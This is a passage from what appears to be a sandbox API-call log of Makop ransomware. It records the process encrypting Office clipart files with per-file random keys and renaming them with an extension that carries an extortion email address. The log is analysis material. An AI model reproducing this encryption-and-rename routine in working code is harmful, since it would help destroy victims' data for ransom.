GetProcessHeap () returned 0x48a0000 [0151.668] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.668] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.668] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.668] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.672] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.672] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.672] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.672] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.673] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.673] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.673] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.673] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.673] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x54b0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x54b0, lpOverlapped=0x0) returned 1 [0151.675] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x54b0, dwBufLen=0x54b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x54b0) returned 1 [0151.675] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.675] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x54b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x54b0, lpOverlapped=0x0) returned 1 [0151.675] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.675] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5584, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.675] SetEndOfFile (hFile=0xf0) returned 1 [0151.682] GetProcessHeap () returned 0x48a0000 [0151.682] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.682] GetProcessHeap () returned 0x48a0000 [0151.682] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.683] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.683] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01568_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01568_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.684] CloseHandle (hObject=0xf0) returned 1 [0151.684] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcb57400, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcb57400, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01569_.WMF", cAlternateFileName="")) returned 1 [0151.685] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF") returned 63 [0151.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01569_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.688] GetProcessHeap () returned 0x48a0000 [0151.688] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.688] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.688] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.688] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.688] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.688] GetProcessHeap () returned 0x48a0000 [0151.688] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.688] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.688] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.688] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.693] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.693] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.693] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.693] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.693] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.694] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.694] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.694] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.694] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x47a0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x47a0, lpOverlapped=0x0) returned 1 [0151.696] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x47a0, dwBufLen=0x47a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x47a0) returned 1 [0151.696] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.696] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x47a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x47a0, lpOverlapped=0x0) returned 1 [0151.696] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.696] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4874, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.696] SetEndOfFile (hFile=0xf0) returned 1 [0151.703] GetProcessHeap () returned 0x48a0000 [0151.703] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.703] GetProcessHeap () returned 0x48a0000 [0151.703] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.703] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.703] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01569_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01569_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.705] CloseHandle (hObject=0xf0) returned 1 [0151.705] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd5f9e00, ftCreationTime.dwHighDateTime=0x1bd4adf, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcd5f9e00, ftLastWriteTime.dwHighDateTime=0x1bd4adf, nFileSizeHigh=0x0, nFileSizeLow=0xa8a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01575_.WMF", cAlternateFileName="")) returned 1 [0151.705] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF") returned 63 [0151.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01575_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.706] GetProcessHeap () returned 0x48a0000 [0151.707] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.707] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.707] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.707] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0151.712] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.712] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.712] GetProcessHeap () returned 0x48a0000 [0151.712] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.712] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.712] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.712] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.712] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.713] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.713] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.713] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.713] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.713] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.713] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.713] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.713] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa8a6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa8a6, lpOverlapped=0x0) returned 1 [0151.715] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa8b0, dwBufLen=0xa8b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa8b0) returned 1 [0151.716] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.716] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa8b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa8b0, lpOverlapped=0x0) returned 1 [0151.717] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.717] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.717] SetEndOfFile (hFile=0xf0) returned 1 [0151.725] GetProcessHeap () returned 0x48a0000 [0151.725] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.725] GetProcessHeap () returned 0x48a0000 [0151.725] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.725] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.725] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01575_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01575_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.727] CloseHandle (hObject=0xf0) returned 1 [0151.727] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd892e800, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd892e800, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x2566, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01777_.WMF", cAlternateFileName="")) returned 1 [0151.727] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF") returned 63 [0151.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01777_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.728] GetProcessHeap () returned 0x48a0000 [0151.728] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.728] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.728] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.729] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0151.733] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.733] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.733] GetProcessHeap () returned 0x48a0000 [0151.733] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.733] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.733] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.733] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.733] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.733] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.734] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.734] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.734] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.734] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.734] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.734] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.734] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2566, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2566, lpOverlapped=0x0) returned 1 [0151.736] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2570, dwBufLen=0x2570 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2570) returned 1 [0151.736] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.736] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2570, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2570, lpOverlapped=0x0) returned 1 [0151.737] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.737] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.737] SetEndOfFile (hFile=0xf0) returned 1 [0151.743] GetProcessHeap () returned 0x48a0000 [0151.743] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.743] GetProcessHeap () returned 0x48a0000 [0151.743] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.743] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.743] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01777_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01777_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.745] CloseHandle (hObject=0xf0) returned 1 [0151.745] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01785_.WMF", cAlternateFileName="")) returned 1 [0151.745] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF") returned 63 [0151.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01785_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.746] GetProcessHeap () returned 0x48a0000 [0151.747] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.747] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.747] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.747] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, 